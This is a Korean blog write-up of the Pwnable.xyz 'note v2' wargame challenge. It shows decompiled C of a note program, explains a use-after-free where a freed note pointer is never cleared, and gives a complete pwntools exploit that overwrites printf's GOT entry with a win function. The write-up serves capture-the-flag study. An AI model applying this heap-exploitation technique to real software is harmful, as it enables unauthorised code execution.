tmxklab
[Pwnable.xyz] note v2 본문
1. 문제
nc svc.pwnable.xyz 30030
1) mitigation 확인
2) 문제 확인
- 4개의 메뉴가 보이며 노트를 작성할 수 있고 출력, 삭제 기능이 보인다.
3) 코드흐름 파악
3-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
setup(argc, argv, envp);
puts("Note taking 102.");
while ( 1 )
{
print_menu();
switch ( (unsigned __int64)(unsigned int)read_int32() )
{
case 0uLL:
return 0;
case 1uLL:
make_note();
break;
case 2uLL:
edit_note();
break;
case 3uLL:
delete_note();
break;
case 4uLL:
print_note();
break;
default:
puts("Invalid");
break;
}
}
}
3-2) make_note()
int make_note()
{
void *v0; // rax
int v1; // eax
__int64 v2; // rcx
int v4; // [rsp+4h] [rbp-Ch]
void **buf; // [rsp+8h] [rbp-8h]
if ( count <= 32 )
{
printf("size of note: ");
v4 = read_int32();
buf = (void **)malloc(0x28uLL);
if ( !buf[4] )
buf[4] = malloc(v4);
printf("title: ");
read(0, buf, 0x20uLL);
printf("note: ");
read(0, buf[4], v4 - 1);
v1 = count++;
v2 = 8LL * v1;
v0 = &book;
*(_QWORD *)((char *)&book + v2) = buf;
}
else
{
LODWORD(v0) = puts("Limit reached.");
}
return (int)v0;
}
- buf에 0x28사이즈만큼 malloc하고 buf[4]가 존재하지 않으면 buf[4]에 size에 대한 입력 값만큼 malloc해준다.
- buf에 0x20만큼 title을 저장하고, buf[4]에 v4-1만큼 note를 저장한다.
- 마지막으로 book+v2(=8*count++)에 buf의 청크 주소를 저장한다.
3-3) edit_note()
ssize_t edit_note()
{
ssize_t result; // rax
size_t v1; // rax
ssize_t v2; // [rsp+8h] [rbp-8h]
result = get_note();
v2 = result;
if ( result )
{
printf("Title %s: ", result);
v1 = strlen(*(const char **)(v2 + 32));
result = read(0, *(void **)(v2 + 32), v1);
}
return result;
}
- get_note()의 리턴 값을 result에 저장한다.
- result값이 존재하면 result를 출력하고 read(0, (result+32), strlen(result+32))를 수행한다. → note가 저장된 곳을 수정하는 부분
3-4) get_note()
__int64 get_note()
{
int v1; // [rsp+Ch] [rbp-4h]
printf("Note#: ");
v1 = read_int32();
if ( v1 >= 0 && v1 < count )
return book[v1];
puts("Invalid");
return 0LL;
}
- 인덱스에 대한 입력 값을 v1에 받고 if문이 참이면 return값으로 book[v1]을 준다. → note에 대한 정보를 담은 청크의 주소 반환
3-5) delete_note()
void **delete_note()
{
void **result; // rax
int v1; // eax
__int64 v2; // rdx
result = (void **)get_note();
if ( result )
{
free(result[4]);
v1 = count--;
v2 = 8LL * v1;
result = (void **)&book;
*(_QWORD *)((char *)&book + v2) = 0LL;
}
return result;
}
- get_note()의 반환 값을 result에 저장한다.
- result값이 존재하면 free(result[4])를 수행하고 (book+(8count-1))가 위치한 곳에 널 바이트를 저장한다. → book에 저장된 note에 대한 청크의 주소를 널 바이트로 채워 넣음
- 근데 result[4]를 free시키고 널 바이트를 넣지 않음
3-6) print_note()
int print_note()
{
__int64 v0; // rax
v0 = get_note();
if ( v0 )
LODWORD(v0) = printf("%s : %s\n", v0, *(_QWORD *)(v0 + 32));
return v0;
}
- get_note()의 반환 값을 v0에 저장한다.
- v0가 존재하면 v0, v0+32을 출력한다. → title과 note 출력
전역변수)
- count : 0x602264 → book에 저장된 청크의 개수
- book : 0x602280 → note에 대한 청크의 주소를 관리하는 전역변수
2. 접근방법
1) 청크 구조 확인
메뉴 1번을 통해 note를 하나 추가
입력 값 : title → "AAAAAAAA" , note → "BBBBBBBB"
- note_info chunk : 0x603260
- note_info[0] ~ note_info[3] : title
- note_info[4] : note chunk addr
- note chunk : 0x603290
- book[0] : 0x603260 / count : 1
note_info 청크는 항상 동일한 사이즈(0x28)의 malloc할당을 받는다. 그리고 note_info[4]에는 note데이터를 저장하는 note 청크의 주소가 저장된다. 만약, 해당 청크를 free하고 note_info청크를 생성하면 free된 note_info청크의 주소를 재할당하게 될 것이다. → uaf 쌉가능
공격 프로세스)
- note_info 청크 생성 및 note_info[4]에 printf@got값을 넣음
- 할당된 note_info청크를 free
- 다시 note_info청크를 재할당하면 note_info[4]에는 그대로 printf@got값이 있으므로 note데이터에는 win함수를 적어준다.
- 메뉴 4를 실행해서 printf를 실행시킴
3. 풀이
1) 익스코드
from pwn import *
context.log_level = "debug"
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30030)
e = ELF("./challenge")
#gdb.attach(p)
win_addr = e.symbols['win']
printf_got = e.got['printf']
printf_got = '\x40\x20\x60'
def make_note(size, title, note):
p.sendlineafter("> ", str(1))
p.sendlineafter("note: ", str(size))
p.sendafter("title: ", title)
p.sendafter("note: ", note)
def edit_note(idx, note):
p.sendlineafter("> ", str(1))
p.sendlineafter("Note#: ", str(idx))
p.sendafter(": ", note)
# 1. make chunk
make_note(40, "A", "A"*0x20+printf_got)
# 2. free
p.sendlineafter("> ", str(3))
p.sendlineafter("#: ", str(0))
# 3. make chunk
make_note(40, "B", p64(win_addr))
# 4. execute win
p.sendlineafter("> ", str(4))
p.sendlineafter("#: ", str(0))
p.interactive()
2) 실행결과
4. 몰랐던 개념
'War Game > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz] Dirty Turtle (0) | 2020.09.09 |
---|---|
[Pwnable.xyz] Hero Factory (0) | 2020.09.09 |
[Pwnable.xyz] executioner v2 (0) | 2020.09.09 |
[Pwnable.xyz] badayum (0) | 2020.09.09 |
[Pwnable.xyz] password (0) | 2020.09.09 |
Comments